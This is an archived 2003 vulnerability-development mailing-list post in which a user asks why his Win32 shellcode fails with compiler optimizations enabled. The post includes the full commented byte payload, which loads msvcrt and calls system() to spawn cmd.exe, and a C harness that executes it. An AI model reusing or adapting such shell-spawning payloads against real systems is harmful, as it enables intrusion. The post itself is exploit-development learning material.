Vulnerability Development mailing list archives
shellcode not executing if optimizations are on.
From: "wirepair" <wirepair () roguemail net>
Date: Wed, 30 Apr 2003 08:46:20 -0700
Ok so I'm still trying my hand at writing shellcode for win32. My problem is my code executes fine as long as i compile with out optimizations, If i disable optimizations it executes fine and i get my cmd.exe shell. Could anyone throw me a fricken bone and tell me what I'm doing wrong? You can find my inline asm at (which this is based off of): http://sh0dan.org/files/llacmd.txt. But if you're lazy like I am you'll probably just want to see this:
#include <stdio.h>
int main(int argc, char **argv) {
char shellcizode[] =
"\x55" // push ebp
"\x8b\xec" // mov ebp, esp
"\x53" // push ebx
"\x56" // push esi
"\x57" // push edi
"\x8b\xe5" // mov esp, ebp
"\x55" // push ebp
"\x8b\xec" // mov ebp, esp
"\x33\xff" // xor edi,edi
"\x57" // push edi
"\x57" // push edi
"\xc6\x45\xf8\x6d" // mov byte ptr ss:[ebp-8],6d
"\xc6\x45\xf9\x73" // mov byte ptr ss:[ebp-7],73
"\xc6\x45\xfa\x76" // mov byte ptr ss:[ebp-6],76
"\xc6\x45\xfb\x63" // mov byte ptr ss:[ebp-5],63
"\xc6\x45\xfc\x72" // mov byte ptr ss:[ebp-4],72
"\xc6\x45\xfd\x74" // mov byte ptr ss:[ebp-3],74
"\xb8\xe8\xfe\xe9\x77" // mov
eax,kernel32.loadlibraryA;
"\x50" // push eax
"\x8d\x45\xf8" // lea eax, dword ptr ss:[ebp-8]
"\x50" // push eax
"\xff\x55\xf4" // call dword ptr ss:[ebp-c]
"\x58" // pop eax
"\x58" // pop eax
"\x58" // pop eax
"\x33\xc0" // xor eax,eax
"\x50" // push eax
"\x50" // push eax
"\xc6\x45\xf8\x63" // mov byte ptr ss:[ebp-8],63
"\xc6\x45\xf9\x6d" // mov byte ptr ss:[ebp-7],6d
"\xc6\x45\xfa\x64" // mov byte ptr ss:[ebp-6],64
"\xc6\x45\xfb\x2e" // mov byte ptr ss:[ebp-5],2e
"\xc6\x45\xfc\x65" // mov byte ptr ss:[ebp-4],65
"\xc6\x45\xfd\x78" // mov byte ptr ss:[ebp-3],78
"\xc6\x45\xfe\x65" // mov byte ptr ss:[ebp-2],65
"\xb8\xc3\xaf\x01\x78" // mov eax, 7801AFC3; addy of
system() from msvcrt
"\x50" // push eax
"\x8d\x45\xf8" // lea eax, dword ptr ss:[ebp-8]
"\x50" // push eax
"\xff\x55\xf4" // call dword ptr ss:[ebp-c]
"\x83\xc4\x04" // add esp, 04h
"\x5c" // pop esp
"\xc3"; // ret we're done!
((void (*)(void))&shellcizode)();
return(0);
}
I'm sure the formatting got totally screwed but basically
i'm calling loadlibrary a with msvcrt to be able to use
the address of system() to execute cmd.exe. Now this only
works IF optimizations are disabled. any hints??
Thanks, -wire _____________________________ For the best comics, toys, movies, and more, please visit <http://www.tfaw.com/?qt=wmf>
Current thread:
- shellcode not executing if optimizations are on. wirepair (Apr 30)
- Re: shellcode not executing if optimizations are on. Luciano Miguel Ferreira Rocha (Apr 30)
